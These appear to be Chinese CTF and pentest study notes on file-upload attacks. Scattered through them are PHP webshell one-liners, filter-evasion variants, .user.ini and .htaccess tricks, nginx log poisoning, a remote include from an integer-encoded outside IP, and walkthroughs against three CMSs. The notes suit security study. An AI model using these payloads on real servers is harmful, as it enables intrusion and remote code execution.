文件上传
ctf赛题知识点
文件上传后门连接
#知识点:
1、文件上传-前端验证
2、文件上传-黑白名单
3、文件上传-user.ini妙用
4、文件上传-PHP语言特性
#详细点:
1、检测层面:前端(js),后端(服务器检测)等
2、检测内容:文件头,完整性,二次渲染等
3、检测后缀:黑名单,白名单,MIME检测等
4、绕过技巧:多后缀解析,截断,中间件特性,条件竞争等
可以修改网页源代码 直接上传php代码文件
用hackbar访问文件后 下面的postdata 输入x=system('tac ../flag');
后端代码 mime验证 抓包修改content-type image/png
多后缀解析php3 php5但不一定能访问
抓包修改文件名字.user.ini (需要开启某个开关) 文件内容为auto_prepend_file=1.png
然后上传图片中带有一句话木马的
会检测内容
过滤一句话木马中的<?php 换一种写法就行
<?echo '123';?> 前提是开启配置参数short_ <?=(表达式)?> 不需要开启参数设置
<% echo '123';%> 前提是开启配置参数asp_tags=
<script language="php">echo '1'; </script> 不需要修改参数开关
<?=eval($_POST[x]);?>
过滤一句话木马中[] 可以换成大括号{}
过滤一句话木马中;
上传的1.png文件中直接写入<?=system('tac ../fl*') ?>
然后.user.ini进行文件包含
过滤一句话木马中()
反引号执行运算法
<?=`tac ../fla*`?>
包含日志记录看保存了什么信息
例如nginx的日志文件中包含ua信息,然后就可以通过修改ua后 保存在日志中 进行连接
.user.ini: auto_prepend_file=test.png
test.png: <?=include"/var/lo"."g/nginx/access.lo"."g"?> (默认日志文件)
发现包含了ua信息,就可以通过修改数据报信息达到目的
文件头GIF89a判断文件类型
利用远程包含IP转换地址后门调用执行
.user.ini auto_prepend_file=png
png <?=include 'http://794750069'>
IP地址转换https://www.bejson.com/convert/ip2int/
过滤(){}等 同时文件被删除
直接利用.user.ini包含远程
auto_prepend_file=http://794750069/
auto_prepend_file=http://794750069/
条件竞争:在上传成功立马访问,创建新代码(代码被执行后新建一个文件)
png二次渲染
渲染方法https://blog.csdn.net/qq_40800734/article/details/105920149
渲染后上传图片码
get 0=system
post 1=tac flag.php
需要的条件是url 利用php用参数去引用图片文件
如果是访问文件地址的情景(绝对路径)就需要用到.user.ini
jpg文件二次渲染
判断上传前后的文件大小和内容
判断上传后的文件数据返回数据包 gb_jpeg
1=system('ls ../');
Tac flag.php
.htaccess妙用
.htaccess默认不支持nginx,支持Apache,设置后支持nginx
.htaccess可以通过设置实现文件解析配置
AddType application/x-httpd-php .png
将.png后缀的文件解析成php
代码编译知识点
过滤system 就拆分 <?php $a='syste';$b='m';$c=$a.$b('tac ./flag.php');?>
.user.ini的利用条件
需要当前目录有指向 内容无所谓 需要引路人index.php
版本为7
中间件解析&编辑器安全
第一部分:中间件文件解析-IIS&Apache&Nginx
IIS 6 7 文件名 目录名
1、文件名:x.asp;.x.jpg
2、目录名:x.asp/x.jpg
3、IIS7.X与Nginx解析漏洞一致
这个主要是6版本和7版本
首先要想触发这个漏洞,第一个中间件是IIS,第二个上传的文件名或目录名能够修改。
比如它只让上传jpg格式的图片,那么我们把文件名改成1.asp;.1.jpg。他的格式还是jpg,但是写在图片里面的后门代码是可以正常执行的。或则目录名是可以带后缀的。比如本来叫1,我们给他改成1.asp那么我们上传到这个目录的jpg文件中的后门代码也是可以正常执行的。
然后就涉及到了这个命名的问题,它是下面三种不同的命名方式,基于本地名命名就挺好,直接就可以利用。如果是第二个和第三个看它能不能加上我们需要的,可以就表示有机会,没有就g
Apache
Apache和nginx的这四个案例都可以在vulhub中找到,建议看vulhub的,更加的清晰,直接搜名字即可,名字截图放在文章末尾
Apache 换行解析-vulhub (%0a截断,黑名单绕过)
利用条件:
1.是这个中间件
2.黑名单验证(在黑名单的后缀不让上传 php jsp等)
php%0a绕过黑名单
白名单可能不行(在白名单里面才可以上传 比如jpg png gif等)
1.jpg.php%0a(没考虑最后一个点为后缀,这个白名单就可以)
上传一个名为1.php的文件,被拦截:
在1.php后面插入一个\x0A(注意,不能是\x0D\x0A,只能是一个\x0A),不再拦截:
访问刚才上传的/1.php%0a,发现能够成功解析,但这个文件不是php后缀,说明目标存在解析漏洞:
下图是小迪的总结
Apache 解析漏洞(未知后缀解析漏洞)
利用条件
文件名需要基于本地上传为准
原理:
在低版本的apache中,若文件后缀x.php.xxx.yyy,在服务器中若此文件.yyy后缀不被解析,则依次向前解析,成功为止。
这个相当于是配置不当了,如果运维人员给后缀增加了处理器,那么就会造成这个漏洞
但想要利用这个漏洞首先中间件是apache,并且文件命名要以本地名上传为准,如果是以时间或则随机字符,那么你是无法控制的。
-Nginx 文件名逻辑 解析漏洞
1、文件名逻辑-CVE-2013-4547
影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
2、解析漏洞-nginx.conf配置不当
由此可知,该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。
第二部分:#Web应用编辑器-Ueditor文件上传安全
这个主要是看编辑器有没有存在漏洞,跟源码和中间件无关,首先在前端页面的会员中心一般会有填写简历的地方,其他地方有上传到地方也可以,然后观察利用的是不是编辑器进行上传操作的,看是什么编辑器,然后看以前爆过的漏洞。
分析文件上传漏洞的步骤一般是先看中间件,然后去网上看爆过的历史漏洞能不能加以利用,接着看是否使用编辑器,也是看历史爆过的漏洞加以利用。最后看源码里面的漏洞。
补充:四个漏洞的截图,可直接去vulhub里面搜
实例cms文件上传安全分析
白盒审计三要素:
白盒:看三点,中间件,编辑器,功能代码
功能代码直接看源码应用或搜索关键字(第一个案例)
编辑器直接看目录机构或搜索关键字(第二个案例)
中间件直接看语言环境常见搭配(第三个案例)
黑盒审计四要素:
黑盒:寻找一切存在文件上传的功能应用
个人用户中心是否存在文件上传功能(第一个案例)
后台管理系统是否存在文件上传功能(第二个案例)
字典目录扫描探针文件上传构造地址(第三个案例)
字典目录扫描探针编辑器目录构造地址(第三个案例)
#白盒审计-Finecms-代码常规-处理逻辑
黑盒思路:寻找上传点抓包修改突破获取状态码及地址
审计流程:功能点-代码文件-代码块-抓包调试-验证测试
黑盒:首先把网站搭建好,源码在资源库。访问网站后就可以看到会员中心,这里可以上传图片,我们尝试上传后缀为.php的文件,发现不行。然后只能上传png图片进行抓包。
这里没有filename 或者是type等,可以看出只有tx一个变量。并且可以看到有base64加密。修改png为php后,并且把后面的数据修改成base64加密后的后门代码。可以通过访问文件,看到php是正常被上传上去的,但是路径还有文件名被修改了,导致黑盒测试的话,无法获取具体路径。
小迪讲的是因为是黑盒不知道上传后的具体路径,所以弄不了,但我在前端页面发现了上传图片后的地址,所以就可以访问后门文件获取信息。
审计流程:功能点-代码文件-代码块-抓包调试-验证测试
可以看出是mvc架构。
这个是文件上传功能是源码编写的,跟中间件和编辑器没啥关系,这是第一个案例。
#白盒审计-CuppaCms-中间件-.htaccess
黑盒思路:存在文件管理上传改名突破,访问后在突破
在上传文件进行反复测试(发现绕不过,白名单),那我们只能上传png图片了,然后在修改文件名那里发现问题,通过bp抓包,将文件修改成PHP文件,发现没办法直接执行,就算把后缀改成php了,也是不能直接执行的,这里我们猜测有可能是文件权限不足导致不能执行php文件,或则是中间件设置的问题(当执行php文件时,予以拒绝,如下图,这个。Htaccess配置文件时apache的),怀疑是有限制导致的,然后通过修改包加上../,移动到上一级目录,执行成功.
第二个思路就是把.htaccess配置文件直接删除。
审计流程:功能点-代码文件-代码块-抓包调试-验证测试
这个是中间件问题导致的漏洞。
白盒审计-Metinfo-编辑器引用-第三方安全
黑盒思路:探针目录利用编辑器漏洞验证测试
审计流程:目录结构-引用编辑器-编辑器安全查询-EXP利用验证
这个直接就是利用目录扫描工具扫到了编辑器,然后知道是哪个编辑器之后就上网上找了一个看这个编辑器版本的路径,访问后就得到了版本,然后就直接上网上找这个编辑器该版本的exp,然后利用进而渗透。这个是利用编辑器进行攻破的。
那么这个时候再看刚开始说的那个白盒审计三要素,黑盒审计四要素就一目了然了。